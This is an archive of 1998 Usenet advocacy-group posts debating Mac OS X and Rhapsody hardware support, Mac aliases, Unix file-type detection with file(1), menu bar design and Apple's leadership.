References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com> <ericb-2007982116410001@128.84.203.147> <PbVs1.1389$E5.6653879@proxye1.san.rr.com>
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In article <PbVs1.1389$E5.6653879@proxye1.san.rr.com>, "Ed Deans."
<eadeans@san.rr.com> wrote:
> Eric Bennett wrote in message ...
> >In article <JWMs1.1091$E5.6247799@proxye1.san.rr.com>, "Ed Deans."
> ><eadeans@san.rr.com> wrote:
> >
> >> Aliases are "dumb"--not working across volumes.
> >
> >What exactly do you mean by this? Aliases work across volumes and file
> >servers too.
>
> Unless something changed very recently if I drag the original over to a new
> volume and delete the old one (because the Mac doesn't let me move between
> volumes) the alias no longer points to the item. The problem here is
> because it depends on file ID numbers which are volume dependant.
Well, I suppose the alias could point to the new file, but how does the OS
know if you're going to delete the original or not? The ability to move
between volumes would solve this.
> Sure if I
> create the alias on the volume that contains the original and copy the alias
> where I want it, I'm OK. Just don't move the original to another volume or
> you're sunk.
Well, "sunk" may be overstating this just a tad; you can just drag-create a
new alias in seconds.
> Hmmm...can I drop an alias to my desktop printer into an email and sent it
> to someone on my network? AFAIK, nothey have to goto the chooser to connect
> to it once it's shared.
I can put an alias to my hard drive on a floppy, go to someone else's
machine, double-click the alias, and it will connect to my hard drive. I
can also email an alias to someone else for the same effect. That seems
pretty robust to me.
> Aliases aren't cleaned up when all copies of original item have been
> deleted.
Do you necessarily want them to be? Sometimes I'll temporarily remove a
program from my hard drive, but I don't want the alias to just disappear
when I remove it, because I'll be adding it back in later. I think that
deleting all aliases should not be the default behavior.
Andy Bates.
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Tue, 21 Jul 1998 23:01:18 +0100
Message-ID: <1dchrj7.1pmajnlrqkgqjN@quern.demon.co.uk>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com>
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> wrote:
> >Now, tell me honestly - how many limitations does *your* platform of
> >choice provide? ... It would have to be 0 for you to not appear as
> >total hypocrite.
>
> Honestly? Well, 1024+ windows didn't seem to be a problem, and I had
> plenty of memory and CPU power to go..... my OS doesn't require 2x
If memory serves, we had this thread about a year ago in
cs.next.advocacy. Someone closed it (in relation to NS) by setting up a
background job on their slab. After a weekend of generating offscreen
windows it was beginning to bog down a bit, but was essentially still
going strong.
Incidentally, if anyone out there is running BeOS R3 or R3.1 on a Power
Mac 4400, I wouldn't mind an email. I gave up when PR2 appeared because
I just could *not* get it to work. Damn Tanzania machine - ugh! However,
terminal curiosity tempts me back. Plus I like to check that my websites
work under every OS I can find... :)
--
Jonathan Sanderson http://www.quern.demon.co.uk/jonathan
'If I had more time, I would have written you a shorter letter' (Pascal)
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 21 Jul 1998 22:02:37 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com> <B1D93BDE-E7B9B@206.165.43.162>
On 20 Jul 98 18:24:24 -0700, Lawson English <english@primenet.com> wrote:
:Are you trying to tell me that the NeXT engineers lied to Amelio when they
:told him that they could make Rhapsody cross-platform, including whatever
:kernel changes that they decided to make? Or maybe you're telling me that
:switching versions of the same basic kernel is tougher than switching the
:hardware?
:I don't think so.
I do. The low-level interfaces to hardware might be significantly different.
Once you have a stable working driver format and subsystem which has been
frequently tested, then new drivers are discrete new chunks of code, and
many of them can be patterned after older ones.
A significant change to the kernel, especially involving deep architectural
changes due to new sorts of SMP is a tougher, global, issue. And it's one
which is directly on the critical path to the new product.
:This is a marketing issue, far, FAR more than it is an
:engineering/cost-containment issue.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-2107981517560001@term2-30.vta.west.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu>
Organization: Obsidian Design / Static Dreams Interactive
Date: Tue, 21 Jul 1998 22:18:33 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 15:18:33 PDT
In article <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 21 Jul 1998, Michael Schuerig wrote:
> > Pulsar <tokarek@uiuc.edu> wrote:
> > > On Mon, 20 Jul 1998, Michael Schuerig wrote:
> > > > Pulsar <tokarek@uiuc.edu> wrote:
> > > Oh, come on. Are you dismissing that issue because there is a non-obvious
> > > solution? The UI should be intuitive. It should be easy. How are people
> > > going to know about put away? Why is that an _obvious_ way to deal with
> > > the problem?
> > Do you have any better idea? Then please suggest it to Apple.
> No, I don't have any better idea. That should not prevent Apple from
> addressing this issue. Apple has the resources and people whose job it is
> to come up with ideas to do these things.
I have a better idea. In my DreamUI/Unity spec, all top-level devices
(disks, printers, scanners, cameras, anything you would put data on or
take data from) were on a "tray" on the right hand of the screen, always
above everything else. At the bottom of this tray was an "unmount widget",
which is like an arrow pointing "outward". That seems very logical to me,
drag a disk to an arrow pointing "out" of the monitor, and the disk pops
out of the computer (or if it's a networked drive or other non-removable
device, then it's just unmounted from memory).
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 21 Jul 1998 22:21:35 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ra53e.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net> <mNOSPAMroeder-1707981742020001@192.168.21.168> <slrn6qvsub.qjo.jason@jhste1.dyn.ml.org> <edremy-ya02408000R1807982155230001@nnrp.usc.edu>
On Sat, 18 Jul 1998 21:55:23 -0700, Eric Remy <edremy@chem1.usc.edu> wrote:
:In article <slrn6qvsub.qjo.jason@jhste1.dyn.ml.org>,
:jason@jhste1.dyn.ml.org (Jason S.) wrote:
:
:>Not with UNIX. See magic(4) and file(1).
:
:Come on Jason, file(1) sucks. Let's give it a try:
:
:[michele]htdocs} file index.html
:index.html: ascii text
4:
:Well, ok, it's ascii text, but it's also HTML. Why doesn't file(1) tell me
:that?
:
:Let's try again
:
:[michele]htdocs} file massage.pl
:massage.pl: C program text
:
:Hurm, I didn't know that .pl was a standard C filename extension. There's
:a good reason for this of course- massage.pl is not C. It's perl.
:
:One more time to redeem file(1)
:
:[michele]acidbase} file acidbase.class
:acidbase.class: data or International Language text
:
:Nope. It's a Java classfile. I suppose you could consider it raw data,
:but that's a serious copout.
:
:Just for the record, it did get a GIF file correct.
:
:file(1) goes about 1.5/4. This wasn't hard to do- I just picked four
:random files on my webserver. Anything this bad is basically useless.
This is only a result of not having an up to date magic(4) database, not
a flaw in the concept.
----------------------------------------------------------------------
My Linux (RH5.1) gets a Java class right:
(/usr/lib/netscape/plugins) lyapunov.ucsd.edu > file RAPlayer.class
RAPlayer.class: compiled Java class data, version 45.3
and a perl script I wrote (no .pl extension even):
(~/work/symbols/perl) lyapunov.ucsd.edu > file nulltester
nulltester: perl commands text
and HTML:
(/home/httpd/html) lyapunov.ucsd.edu > file index.html
index.html: HTML document text
GIF too.
(/home/httpd/icons) lyapunov.ucsd.edu > file ps.gif
ps.gif: GIF image data, version 89a, 20 x 22,
(/home/httpd/icons) lyapunov.ucsd.edu > file apache_pb.gif
apache_pb.gif: GIF image data, version 89a, 259 x 32,
So it even gives the size of the GIF file.
The point being that if programs create files which are known to work
with file(1) (no different than setting creator codes right on MacOS),
file(1) sucketh not.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 21 Jul 1998 22:22:57 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6p34c1$2g6$1@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <Pine.SOL.3.96.980721160135.19564C-100000@ux7.cso.uiuc.edu>
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 21 Jul 1998, Andy Bates wrote:
> > Why not just have a partially-transparent menu bar where there are no
> > menus? That would be a lot simpler (and a lot less cluttered) than your
> > proposed solution.
>
> That is certainly an interesting idea. A semi-trasparent bar would be
> good, but doesn't address the sub-menu indicator issue (which I'll touch
> further on below).
I think it's a crap solution. It doesn't allow people to tear the menu away
if they like, nor the flexibility to change orientations when that may be
appropriate for the job at hand. Not allowing people to move the menu is
just a bad implementation. Sure, 99% of the time you can have it locked into
the upper left hand corner (for most people), but other people may find
alternate positions superior; at the very least superior during particular
work projects.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted
Date: 21 Jul 1998 22:23:30 GMT
Organization: none
Message-ID: <6p34d2$qf3$2@server.signat.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net>
<6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net>
<35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu>
<6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net>
<FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net>
<FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net>
<FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost> taiQ wrote:
> On Tue, 14 Jul 1998 18:11:16, not@a.valid.email.add (Michael M.
> Eilers) thought aloud:
> > Frankly, I don't. Apple today announcing Mac OS X is an entirely
different
> > company than the Apple that announced Copland. Back then they were a
> > totally disorganized bunch of nerd/hippie hybrids being run by a former
> > cola executive and with a board stocked by companies that would profit if
Quote of a quote, sorry, the original is missing.
I'll agree with much of this, but I do sometimes question the amount of
change since. Apple seems to be split in two right now, people who know
something about MacOS-X, and people that don't know anything about it at all.
That might sound like a gross simplification, but it really did seem to
reflect what was going on when I was down there for WWDC. More frightening
the later group continues to display the same sort of NIH problems that
existed in the past. There was active hostility towards some of the
Rhaps/OS-X side of things.
Now personally I think this is an issue of communications.
> I was referring to January 199*7* when Amelio, with Special Advisor Mr
> Jobs standing by, announced _Rhapsody_. My mistake, eh.
And Rhapsody is "dead", remember? As much as I like OpenStep (well, love
it as much as I used to love Macs basically) I realize now that Rhapsody was
a bad idea and that MacOS-X is a good idea. Now indeed, look at the timeline
again.
> > > I have not forgotten the point Allegro was supposed make. Parallel
> > > development was, until recent policy changes, due to lack of seamless
> > > Blue Box (remember that?) in Rhapsody, and to support if not '040's at
> > > least the host of first generation Nubus-based Powermacs. A "601-604e"
> > > OS is an alien and unwelcome new concept to me.
> >
> > Not the case at all. Paralell development on OS 8 was for the people who
> > would find the new UI and server-side sophistication of Rhapsody too
> > confusing or intimidating. OS 8.5 and above *is* designed to support all
> > PPC macs, and will do so in the future.
>
> Thanks for setting me right.
I'm glad he did, because he is right on this. MacOS 8.x was to continue
into the future specifically for those that didn't want to convert to
Rhapsody. At the same time it did seem like Rhapsody would be more widely
available in terms of hardware than is planned for MacOS-X today.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 21 Jul 1998 22:25:14 GMT
Organization: none
Message-ID: <6p34ga$qf3$4@server.signat.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net>
<6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net>
<35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu>
<6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net>
<FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net>
<FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu>
<not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se>
<not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>
<not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au>
<joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: quinlan@intergate.bc.ca
In <6p2u11$9g3$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> run Mac OS X at all. BTW, in the context of Windows 98, a new PC is one
that
> is only a few years old. Not under 18 months old like Apple requires.
Uhhh, when it ships G3's will have been shipping for a couple of years, no
big difference there.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 21 Jul 1998 22:24:23 GMT
Organization: none
Message-ID: <6p34en$qf3$3@server.signat.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net>
<6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net>
<35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu>
<6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net>
<FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net>
<FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu>
<not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se>
<not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>
<not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au>
<joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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Cc: quinlan@intergate.bc.ca
In <6p2u11$9g3$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> Still, Microsoft is better than Apple in this instance. You claim that
people
> needed a new PC to run Windows 95 well while Apple will require a new Mac
to
> run Mac OS X at all.
Sorry, that last sentance is not yet known for sure.
Maury
From: kewldoc@hotmail.com (Henry C. Maglente)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 06:49:47 +0800
Organization: UE College of Medicine
Message-ID: <kewldoc-2207980649480001@53.0.17.176.203.in-addr.arpa>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net> <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se>
In article <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > In article <B1D929AE-A3562@206.165.43.162>, "Lawson English"
> > <english@primenet.com> wrote:
> >
> > > Jonas Palm <Jonas.Palm@orgk1.lu.se> said:
> > >
> > > I bought a 7300 about 3-4 months ago in order to do MacOS 7.x, MacOS 8.x,
> > > Rhapsody and BeOS development. I *assumed* that the ability to run
> > > Rhapsody, the basis for the next-generation OS from Apple, would give me
> > > the ability to run the next-generation OS from Apple.
> > >
> > > I was wrong.
> >
> > Why is that wrong? Every indication is that the 7300 will run Rhapsody
> > just fine.
> >
>
> Only thing is that Rhapsody is dead. Apple killed it and replaced it
> with OS X.
>
> The fact that they are going to have an open coffin on the funeral
> doesn't change the fact that it's dead.
>
> Sure they are going to release it, but likely very few (if any)
> developers will bother with it since it's a dead end anyway.
>
> Yellow applications for OS X won't run on Rhapsody (or most likely
> won't) with it having a new graphics system and all.
>
> Apple has made clear that Rhapsody 1.0 will be a dead end and therefore
> once again betrayed their user base.
>
> How much more do they think we will take?
>
> Magnus
>
Obviously they think we'll take alot. And from the looks of things, Mac
users in general are willing to take the abuse for the love of our machine
(or is it in fear of having to use Windows ?). True, we may have slid to
#2 in customer loyalty, but considering what Mac users have been through,
that high of a ranking is incredible...
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 20 Jul 1998 13:53:29 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ovi4p$mto$1@news.spacelab.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <gmgraves-1607981312590001@sf-pm5-16-80.dialup.slip.net> <6ooel4$d5$1@nnrp1.dejanews.com> <slrn6qvsjk.evd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
[ ...DomainOS... ]
> One very nice part of it was the automatic network filesystem and
> path scheme.
>
>a local file: /usr/this/that
>a remote file: //machine-name/usr/this/that
Do the Microsoft slash-exchange ('/' <==> '\'), and you've got the UNC
pathnames used by Microsoft networking. Yet another M$ "innovation"....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Tue, 21 Jul 1998 19:07:35 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980721190735247592@ts4-11.aug.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net> <35b414c4.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> I disagree strongly. A CEO who has experienced failure and
> learned from it is far better than a CEO who has never been
> truly tested (ala Sculley, Spindler).
>
. and what has Jobs really leanred?
> The management problems he had the first time at Apple have largely
> been fixed by later experience, by learning from coworkers and
> associates, by watching the rest of the industry, and (I'd assume)
> by reflecting on the mistakes of his past.
>
Then why does he still throw tantrums? I also wonder if he still has his
"A" team of advisors.. and lets other's advice blow past him.
> The management problems he had at NeXT have largely been fixed
> by the same things. Also consider that NeXT faced issues that
> are not faced by Apple; namely, NeXT was a new, unknown,
> incompatible platform with no software. *IBM* couldn't
> even introduce a new OS successfully, and theirs ran
> Windows apps on Intel PC's. The most successful new
> platform this decade is *the Palm Pilot*. Just about
> everything else has failed.
>
What?? There wasnt really any software for the Apple II when it was
introduced, and the only apps for the Mac was MacWrite and MacPaint.
Neither was compatible with anything else. IBMM ran on DOS, then
windows, and OS/2 was really killed n=by the MS behemoth. The Newton
wasnt unsuccessful, and we still need to wait and see waht crap MS pulls
to try to make the WinCe pieces of crap dominant befoer you declare teh
Palm Pilot a success.
> I think we've seen that Jobs certainly *can* sell a
> platform. Not just any platform, but the Mac, which was
> all but given last rites.
>
.. and whta platform has Jobs successfully sold? Ever?
> Jobs has his 'warts', so to speak, but frankly I can't think of
> *anyone* better for the job.
I have heard anytning in the press ot think Jobs has changed one little
bit... either his strengths or his weaknesses.
--
*** To reply via email remove nospam from my return address. ***
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 18:08:32 -0500
Organization: Prairie Group
Message-ID: <MPG.101e43ebee3790959899d5@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com> <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost>
In article <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost>, pit@iohk.SPAM-
NOT.com says...
> > In this part at least, Apple was telling you what they really believed
> > and did their best to accomplish those plans. They failed. You
> > apparently wish they had given up, or at least took what they could do
> > and expand it until it would become another Copland.
>
> How do you know they "did their best to accomplish those
> (compatibility) plans", or that "they failed"? Apple has keenly
> avoided giving any specific reasons for not supporting pre-G3
> hardware. Tell me, what was/were the main obstacle(s) they couldn't
> overcome despite their best efforts?
>
> What is your motivation to cover Apple's butt in this matter anyhow?
> Would a more aggressive YellowBox proliferation have negative effects
> on your business? Just curious.
>
I have friends inside Apple whose word I trust. And no, I won't give
their names, I'm not sure they were supposed to tell me all they did.
So, you'll have to rely on my credibility to judge this.
On some of the older machines, their early investigation suggested that
some different drivers may need to be written. The MacOS API is much
closer to the hardware than the OpenStep API, and so Carbon may need
special drivers that Rhapsody doesn't.
More importantly, though, is testing. Apple has a very large testing
plan as they roll out new OSes for computers, even such fairly minimal
upgrades as 8.1. As they've been sizing OS X, including the testing, the
plan for G3 will pretty suck up all of the resources available. To
include all PCI machines was pushing the resources far beyond what was
available and looked like it would significantly affect the timeline.
Actually, I'd love a more agressive YellowBox proliferation. It would
have immediately saved me $6000 that I just spent on a G3 powerbook
because my old trusty 1400c won't run MacOS X. I can't see any negative
effects on my business if Apple stretched for all PCI machines and made
it.
But, as someone who's business primarily results in Mac users, it would
have a major negative effect if Apple stretched and failed. If Apple
fails on this OS X, Apple is dead. If they are a year late, Apple is
dead. And that would have a very negative effect on my business.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 18:13:17 -0500
Organization: Prairie Group
Message-ID: <MPG.101edc88c6da7b4a9899d6@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se>
In article <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se>,
qwerty.x@algonet.se says...
> Nice try. The difference is that your example shows that it's possible
> to intentionally do damage to any system (what else is new?). While my
> example shows that 8.1 is very venerable to bugs in applications,
> letting them freely wreak havoc with the entire system. That's simply
> not acceptable by today's standards.
>
Given that the OSes in greatest use are Win 3.1, Win95, and MacOS, all of
which have that weakness, there are a lot of people who find it
acceptable.
Would it be better if that weakness wasn't there? Absolutely. But that
doesn't make the OS unacceptable.
Donald
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
